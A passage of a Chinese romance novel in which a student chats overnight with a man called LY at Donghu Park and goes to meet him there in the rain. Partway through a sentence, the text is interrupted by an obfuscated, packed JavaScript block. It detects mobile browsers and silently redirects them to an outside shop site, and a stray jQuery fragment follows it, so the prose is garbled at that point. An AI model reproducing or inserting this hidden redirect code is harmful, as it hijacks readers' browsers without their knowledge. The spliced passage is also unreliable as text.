黑漆漆的夜里,枕头上的手机屏幕光只够把周围照亮一点点,仿佛无边黑海里一只孤零零的小船。
下一条消息只隔了几秒钟就回来了。
【LY:不是喝醉了,怎么发这种消息给我?】
温知和很诚实。
【论文盒子:……】
【论文盒子:是误触屏幕】
他回得很快,但也很简单。
【LY:嗯】
就没了。
温知和趴在被子里,脑袋埋得很低,长长的头发垂落下来散在枕面,半包围了手机。也许是盯得太紧离得太近,一呼一吸间,手机屏幕上一下蒙着薄薄的白雾,一下又散去。
他没再说话。
她立马敲一行字下去。生怕多耽搁一秒钟便会起了思绪、起了怯意,一打完就点了发送。
【论文盒子:你这么晚还不睡啊】
她盯着屏幕。眼睛只有细微的运动,在微信聊天框与屏幕顶显示的时间之间来回转。
代表分针的数字变了三次。
终于。
【LY:嗯】
这么短的回应,瞟一眼就看完了。她觉得心里也像是刺了一下。
可那刺忽然又开出了花。
【LY:论文盒子也没睡】
她瞅着这个称呼,不知怎么的有点想笑。好像能想象到他说这句话时的神情。
她把手机捧在手里,翻了个身,变做侧躺。膝盖微微曲着,身体朝下弓着,据说这是最让人有安全感的姿态。像抱着什么。
【论文盒子:你在忙什么吗?】
【LY:我在东湖公园】
【论文盒子:诶?】
大半夜的,在东湖公园?周围恐怕一个人也没有。温知和想问他在那边做什么,但还是忍住了。
【论文盒子:这么晚了,外面应该挺凉的吧】
【LY:还好】
【LY:好像有萤火虫】
【论文盒子:真的?看看】
聊天框里沉寂了几分钟。温知和也没切界面,呼吸的温度扑在屏幕上,手指微微滑动,把刚才那么寥寥可数的几条消息慢慢地从头滑到尾,又从尾滑到头。
下面忽然来了新消息,那边发来几张照片。
黑夜里一切都显得模糊。远处的湖面上隐约泛着月光,可除了这些许的亮,其余的一切都融进了黑暗里。近处,幽幽的灌木丛像伏在夜色里的兽,看不清细微处的皮毛肌肉,只看得见轮廓剪影。
所谓的萤火虫少得几乎看不见。
温知和盯着几张图努力辨别着,一会儿放大这里,一会儿放大那里,才勉强找到了几个可疑的光点。
正要说点什么,对面又来了新的图。
萤火虫多起来了。
接着又是一张。
再一张。
照片里的萤火虫如同烟火逐渐绽开,化出最盛大的形状,到了最后,灿烂得让人移不开眼睛。那是地面上的活星火。它们的光,隐约照出了公园长座椅的一角,还有坐在上面的那人落在灌木丛里的影子。
一个非常模糊的影子。轮廓随不规整的灌木而曲折,几乎与周遭融为一体。
她竟久久地移不开视线。
也许是她沉默得太久,他又来了一条消息。
【LY:睡着了么?】
【论文盒子:没】
【论文盒子:你一个人?】
【LY:嗯】
【论文盒子:好漂亮的萤火虫。好多啊】
【LY:以前更多】
【论文盒子:以前?】
【LY:以前湖边到处都是,很多人还会拖家带口来露营】
【论文盒子:好热闹】
【LY:嗯】
【论文盒子:你也去过?以前】
编辑这条消息的时候,温知和没想太多。一发出去,却忽然有一种熟悉的感觉涌上心间。
她想……
果然。
【LY:还不睡?】
他还是这样,不想接话的时候,话题转移得毫无铺垫。
她小小地撒了个谎。
【论文盒子:我在写论文】
【LY:键盘自己写么?你在玩手机】
【论文盒子:……】
【论文盒子:我有资格中场休息】
黑漆漆的卧室,被子里透出来的微光映在墙上,时不时便有点晃悠。偶尔会变暗,出现丝状的阴影,让一切变得更加朦胧。那是长长的头发无意中遮住了作为光源的手机屏幕。
她就这么一句一句地和他说下去。
多奇怪。开口以前犹豫了那么久,千般顾虑,万种犹疑,好像前面挡了无数座难攀的山,每走一步都要凝聚勇气。可一旦真说上了话,一切却都如此自然,一句连着一句,如同水流一般。
渐渐地,天亮了。鱼白的光在窗外蔓延,渗进来,将空气一点一点晕染。躺在被子里的人毫无察觉,过了很久,一转头,才发觉天已大亮,朝阳的光就照在脸上。
是很明媚的天气。
她又打字。
【论文盒子:天亮了】
【LY:嗯】
【论文盒子:湖边日出是什么样?】
隔了几秒钟,他发了照片过来。宽广的湖面上波光粼粼,金色的朝阳洒在上面,拖得很长,像一条通往天际的道路,有一种很神圣的感觉。
可惜摄影师的技术水平实在很一般。
她想说,你可以改改构图的,还有,不要拍到旁边的垃圾桶。可又一直很想笑。仿佛金色的朝阳从屏幕里透了出来,流进心里。
手机又是一震。
【LY:经常通宵写论文么?】
【论文盒子:没,今天第一次】
【LY:熬夜不好】
【论文盒子:你也熬了】
【LY:我又不上学】
【论文盒子:……我今天也没课】
很容易接的一句话。过去的几个小时里,诸如此类的情形出现过一次又一次,河流分叉,枝节蔓生,话题无穷无尽地延展开去。
这一次,他隔了一阵。
【LY:该睡觉了,论文盒子】
【论文盒子:……确实】
【LY:嗯】
【论文盒子:那个】
她半天没下文。
小半个晚上飞扬起来的情绪,随着早间阳光愈来愈烈而渐渐静下去。好像河流断了水,面前再次长出了无数座难攀的山,一道道,一重重,让人看不清路。
他一直没说话。
也许是在等。
也许早关了手机。
温知和终于把字打出来。
【论文盒子:你最近会一直在淮市吗】
她过了很久才收到回应。不是心理意义上那种煎熬、忐忑的“很久”,而是真的很久。一直到她不自觉地抓着手机睡着了,屏幕上的聊天框里,都依然是静静的,只有她发出去的那条绿框消息。
她一觉睡到下午,自己做了饭,吃完,又洗了碗,还出去溜了冬哈一圈。回到家里,打开电脑开始改论文,一面敲着键盘,一面翻着手边的文献。有地方卡住了,于是把手机拿起来,想找师姐问问。
这时距离她发出那个问题,已经过了十二个小时。她终于看见他的回复。
【LY:明天见一面吧】
-
一大早就开始下雨了。外面灰蒙蒙的,城市的喧嚷声像是被水淹没了,显得很安静。
温知和对着镜子化妆。她生得漂亮,平时带妆都是锦上添花,可这会儿却静不下心来。一会儿走神,把眉毛画出了界,一会儿又太过紧张用力过猛,刷子一扫,鼻影直接黑了一块,不停地错,不停地补改,磕磕绊绊的。
到最后就烦了。画
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14258117|147201||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
了一半的口红往桌子上一扔,到卫生间去把妆全卸了,用力洗了把脸。
她抬起头来。
透亮的镜子里,一张素净的脸上湿漉漉的,水珠冰凉。些许头发也打湿了结在一起,显得乱,仿佛是具像化了的心神不宁。
她以为镜子里的自己会是前所未有的忐忑表情。
可白晃晃的灯光照着,原来她是在笑。不很舒展,甚至有些自嘲。但毕竟是个笑。
温知和拿毛巾擦干净了脸。既然都不化妆了,衣服也不必太讲究。她从衣柜里拿了平时上课穿的衬衫和休闲裤换上,又半蹲在化妆镜前随手扎了个高马尾。
出门的时候,正给门边的几盆多肉浇水的温妈妈还以为她只是和平时一样去跑步。“外面下着雨呢。”
“就吃个饭。”
“什么时候回来呀?晚饭要不要等你?”
“不知道。”温知和系着鞋带的手微微一顿,然后,结还系错了。“……再说吧。”
她随手从门边柜子抽屉里拿伞,最常用的那把黑伞偏偏坏了。温妈妈放下浇水壶,到客厅给她拿了一把红的出来。
温知和出了家门。明明是几乎每天都会重复的一个动作,偏偏今天,像是什么仪式。仿佛一脚跨进了雾蒙蒙的未知里。
雨越来越大了。
她看向天空,想起一个遥远的暴风雨之夜。
两个人约定的地点是在东湖公园,温知和坐地铁过去,换乘了几条线,一路上就听着广播女声报站名,盯着车墙上的线路图发呆。
等到了公园门口,离说好的时间还有足足两个小时。她出来得实在是很早。因为要见的是太特殊的人。
工作日的上午,又下着雨,来东湖的人还是那么多。有本地的退休老爷子老太太们在仿古长廊里坐着下棋,也有不少外地游客走走拍拍,雨中的喧嚷,倒是别有意趣。
温知和撑着红伞走在人群里。
东湖粼粼,杨柳依依。
因一只手要撑伞,她用闲着的另一只手比了半个取景框,如同拍照一般朝着周围缓缓转了半圈。
……总觉得似曾相识。此情此景,好像在哪里发生过。她有些迟疑,但又记不清。
这种事并不罕见。很多人都曾在生活中的某个刹那产生类似的感觉,仿佛过去与当下,抑或是梦境与现实,短暂地交汇出一个节点。
人间里到处是风景。手指比出的半个取景框里呈现出一幕幕画面。
一群小孩子在大道上骑自行车,淋着雨,哈哈在笑。
路边有几个摆算命摊的老妇人,大伞边沿在滴水,沾湿了桌子,不停地在擦,嘴里还抱怨着。能测算几十年的运命,却算不到小小的天气。
一幕一幕,仿佛应证着什么。温知和心里那种似曾相识的感觉越来越强烈了。旋转的脚步也越来越慢。
雨中的湖面上缓缓驶过观光船,近岸垂柳微微在动,底下有一个带着红耳钉的年轻人。
温知和蓦地僵住,张了张口,却发不出声音。
却就在这个时候——
“各位亲爱的游客大家好,欢迎乘坐东湖观光游览车,我们现在正驶过……”
亮蓝色的开放式观光车从她面前开过,载满了人,载满了喧嚷,一辆接着一辆,好像一道厚厚的墙。路人们都在闪躲。
温知和根本过不去。她被人群挤着,连伞也歪了,些许雨水落在脸上。她用手背擦去,在车与人潮的缝隙里朝湖边不停地望。看不清。
一分多钟过去,观光车们总算是走完了,让出了主路,挤在一起的人群也终于可以散开。
温知和仍在原地。
没了遮挡视线的车墙,即使站在这里,也能远远看见那棵湖边柳树。
她觉得方才的一切好像在梦里出现过。
又觉得或许现在才是梦。
细雨如织,青绿的垂柳随风而动,那个人依然在那里。